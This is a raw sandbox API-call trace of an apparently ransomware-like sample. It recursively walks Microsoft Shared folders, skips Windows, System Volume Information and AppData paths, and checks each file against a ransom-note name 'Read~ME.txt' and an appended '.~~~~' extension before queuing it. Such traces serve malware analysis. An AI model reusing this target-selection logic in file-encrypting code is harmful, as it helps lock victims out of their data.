	[0076.742] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.743] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.743] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.743] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.743] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.743] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.743] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.743] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0076.743] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1
	[0076.743] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0076.743] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0076.743] lstrcmpW (lpString1="1033", lpString2="AppData") returned -1
	[0076.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033", lpSrch="AppData") returned 0x0
	[0076.743] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.743] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033", lpString2="C:\\Windows") returned -1
	[0076.743] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.743] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033", lpString2="C:\\System Volume Information") returned -1
	[0076.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b76e0
	[0076.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0076.744] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.744] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.744] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.744] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.744] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.744] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.744] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.744] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.744] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.744] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.744] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.744] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.744] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1
	[0076.744] lstrcmpiW (lpString1="DATES.XML", lpString2="Windows") returned -1
	[0076.744] lstrcmpW (lpString1="DATES.XML", lpString2="oiikyy.exe") returned -1
	[0076.744] StrStrW (lpFirst="DATES.XML", lpSrch=".~~~~") returned 0x0
	[0076.744] lstrcmpW (lpString1="DATES.XML", lpString2="Read~ME.txt") returned -1
	[0076.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0076.744] GetCurrentThreadId () returned 0x618
	[0076.744] RtlWakeConditionVariable () returned 0x365f48
	[0076.744] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1
	[0076.744] lstrcmpiW (lpString1="PHONE.XML", lpString2="Windows") returned -1
	[0076.745] lstrcmpW (lpString1="PHONE.XML", lpString2="oiikyy.exe") returned 1
	[0076.745] StrStrW (lpFirst="PHONE.XML", lpSrch=".~~~~") returned 0x0
	[0076.745] lstrcmpW (lpString1="PHONE.XML", lpString2="Read~ME.txt") returned -1
	[0076.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0076.745] GetCurrentThreadId () returned 0x618
	[0076.745] RtlWakeConditionVariable () returned 0x365f48
	[0076.745] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1
	[0076.745] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="Windows") returned -1
	[0076.745] lstrcmpW (lpString1="STOCKS.DAT", lpString2="oiikyy.exe") returned 1
	[0076.745] StrStrW (lpFirst="STOCKS.DAT", lpSrch=".~~~~") returned 0x0
	[0076.745] lstrcmpW (lpString1="STOCKS.DAT", lpString2="Read~ME.txt") returned 1
	[0076.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0076.745] GetCurrentThreadId () returned 0x618
	[0076.745] RtlWakeConditionVariable () returned 0x365f48
	[0076.745] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1
	[0076.745] lstrcmpiW (lpString1="STOCKS.XML", lpString2="Windows") returned -1
	[0076.745] lstrcmpW (lpString1="STOCKS.XML", lpString2="oiikyy.exe") returned 1
	[0076.745] StrStrW (lpFirst="STOCKS.XML", lpSrch=".~~~~") returned 0x0
	[0076.745] lstrcmpW (lpString1="STOCKS.XML", lpString2="Read~ME.txt") returned 1
	[0076.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0076.745] GetCurrentThreadId () returned 0x618
	[0076.746] RtlWakeConditionVariable () returned 0x365f48
	[0076.746] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1
	[0076.746] lstrcmpiW (lpString1="TIME.XML", lpString2="Windows") returned -1
	[0076.746] lstrcmpW (lpString1="TIME.XML", lpString2="oiikyy.exe") returned 1
	[0076.746] StrStrW (lpFirst="TIME.XML", lpSrch=".~~~~") returned 0x0
	[0076.746] lstrcmpW (lpString1="TIME.XML", lpString2="Read~ME.txt") returned 1
	[0076.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0076.746] GetCurrentThreadId () returned 0x618
	[0076.746] RtlWakeConditionVariable () returned 0x365f48
	[0076.746] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0
	[0076.746] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0076.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0076.746] GetCurrentThreadId () returned 0x618
	[0076.746] RtlWakeConditionVariable () returned 0x365f48
	[0076.746] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1
	[0076.746] lstrcmpiW (lpString1="BASMLA.XSL", lpString2="Windows") returned -1
	[0076.746] lstrcmpW (lpString1="BASMLA.XSL", lpString2="oiikyy.exe") returned -1
	[0076.747] StrStrW (lpFirst="BASMLA.XSL", lpSrch=".~~~~") returned 0x0
	[0076.747] lstrcmpW (lpString1="BASMLA.XSL", lpString2="Read~ME.txt") returned -1
	[0076.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e80c8
	[0076.747] GetCurrentThreadId () returned 0x618
	[0076.747] RtlWakeConditionVariable () returned 0x365f48
	[0076.747] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0
	[0076.747] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0076.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e80c8
	[0076.747] GetCurrentThreadId () returned 0x618
	[0076.747] RtlWakeConditionVariable () returned 0x365f48
	[0076.747] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1
	[0076.747] lstrcmpiW (lpString1="METCONV.DLL", lpString2="Windows") returned -1
	[0076.747] lstrcmpW (lpString1="METCONV.DLL", lpString2="oiikyy.exe") returned -1
	[0076.747] StrStrW (lpFirst="METCONV.DLL", lpSrch=".~~~~") returned 0x0
	[0076.747] lstrcmpW (lpString1="METCONV.DLL", lpString2="Read~ME.txt") returned -1
	[0076.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e80c8
	[0076.747] GetCurrentThreadId () returned 0x618
	[0076.747] RtlWakeConditionVariable () returned 0x365f48
	[0076.747] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1
	[0076.748] lstrcmpiW (lpString1="METCONV.TXT", lpString2="Windows") returned -1
	[0076.748] lstrcmpW (lpString1="METCONV.TXT", lpString2="oiikyy.exe") returned -1
	[0076.748] StrStrW (lpFirst="METCONV.TXT", lpSrch=".~~~~") returned 0x0
	[0076.748] lstrcmpW (lpString1="METCONV.TXT", lpString2="Read~ME.txt") returned -1
	[0076.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e80c8
	[0076.748] GetCurrentThreadId () returned 0x618
	[0076.748] RtlWakeConditionVariable () returned 0x365f48
	[0076.748] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1
	[0076.748] lstrcmpiW (lpString1="MOFL.DLL", lpString2="Windows") returned -1
	[0076.748] lstrcmpW (lpString1="MOFL.DLL", lpString2="oiikyy.exe") returned -1
	[0076.748] StrStrW (lpFirst="MOFL.DLL", lpSrch=".~~~~") returned 0x0
	[0076.748] lstrcmpW (lpString1="MOFL.DLL", lpString2="Read~ME.txt") returned -1
	[0076.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.748] GetCurrentThreadId () returned 0x618
	[0076.748] RtlWakeConditionVariable () returned 0x365f48
	[0076.748] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1
	[0076.748] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="Windows") returned -1
	[0076.748] lstrcmpW (lpString1="MSTAG.TLB", lpString2="oiikyy.exe") returned -1
	[0076.748] StrStrW (lpFirst="MSTAG.TLB", lpSrch=".~~~~") returned 0x0
	[0076.748] lstrcmpW (lpString1="MSTAG.TLB", lpString2="Read~ME.txt") returned -1
	[0076.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.748] GetCurrentThreadId () returned 0x618
	[0076.748] RtlWakeConditionVariable () returned 0x365f48
	[0076.749] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1
	[0076.749] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="Windows") returned -1
	[0076.749] lstrcmpW (lpString1="SmartTagInstall.exe", lpString2="oiikyy.exe") returned 1
	[0076.749] StrStrW (lpFirst="SmartTagInstall.exe", lpSrch=".~~~~") returned 0x0
	[0076.749] lstrcmpW (lpString1="SmartTagInstall.exe", lpString2="Read~ME.txt") returned 1
	[0076.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0076.749] GetCurrentThreadId () returned 0x618
	[0076.749] RtlWakeConditionVariable () returned 0x365f48
	[0076.749] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0
	[0076.749] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0076.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e80c8
	[0076.749] GetCurrentThreadId () returned 0x618
	[0076.749] RtlWakeConditionVariable () returned 0x365f48
	[0076.753] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0076.753] lstrcmpiW (lpString1="Source Engine", lpString2="Windows") returned -1
	[0076.753] lstrcmpW (lpString1="Source Engine", lpString2=".") returned 1
	[0076.753] lstrcmpW (lpString1="Source Engine", lpString2="..") returned 1
	[0076.753] lstrcmpW (lpString1="Source Engine", lpString2="AppData") returned 1
	[0076.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine", lpSrch="AppData") returned 0x0
	[0076.753] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.753] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine", lpString2="C:\\Windows") returned -1
	[0076.753] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.753] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine", lpString2="C:\\System Volume Information") returned -1
	[0076.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0076.754] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0076.834] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.842] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.842] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.842] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.842] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.842] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.842] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.842] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.842] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.842] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.842] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.842] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.842] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1
	[0076.843] lstrcmpiW (lpString1="OSE.EXE", lpString2="Windows") returned -1
	[0076.843] lstrcmpW (lpString1="OSE.EXE", lpString2="oiikyy.exe") returned 1
	[0076.843] StrStrW (lpFirst="OSE.EXE", lpSrch=".~~~~") returned 0x0
	[0076.843] lstrcmpW (lpString1="OSE.EXE", lpString2="Read~ME.txt") returned -1
	[0076.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa5b0
	[0076.843] GetCurrentThreadId () returned 0x618
	[0076.843] RtlWakeConditionVariable () returned 0x365f48
	[0076.843] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0
	[0076.843] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0076.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa5b0
	[0076.843] GetCurrentThreadId () returned 0x618
	[0076.843] RtlWakeConditionVariable () returned 0x365f48
	[0076.843] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0076.843] lstrcmpiW (lpString1="Stationery", lpString2="Windows") returned -1
	[0076.843] lstrcmpW (lpString1="Stationery", lpString2=".") returned 1
	[0076.843] lstrcmpW (lpString1="Stationery", lpString2="..") returned 1
	[0076.844] lstrcmpW (lpString1="Stationery", lpString2="AppData") returned 1
	[0076.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery", lpSrch="AppData") returned 0x0
	[0076.844] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.844] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery", lpString2="C:\\Windows") returned -1
	[0076.844] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.844] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery", lpString2="C:\\System Volume Information") returned -1
	[0076.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0076.844] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0076.856] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.856] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.856] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.856] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.856] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
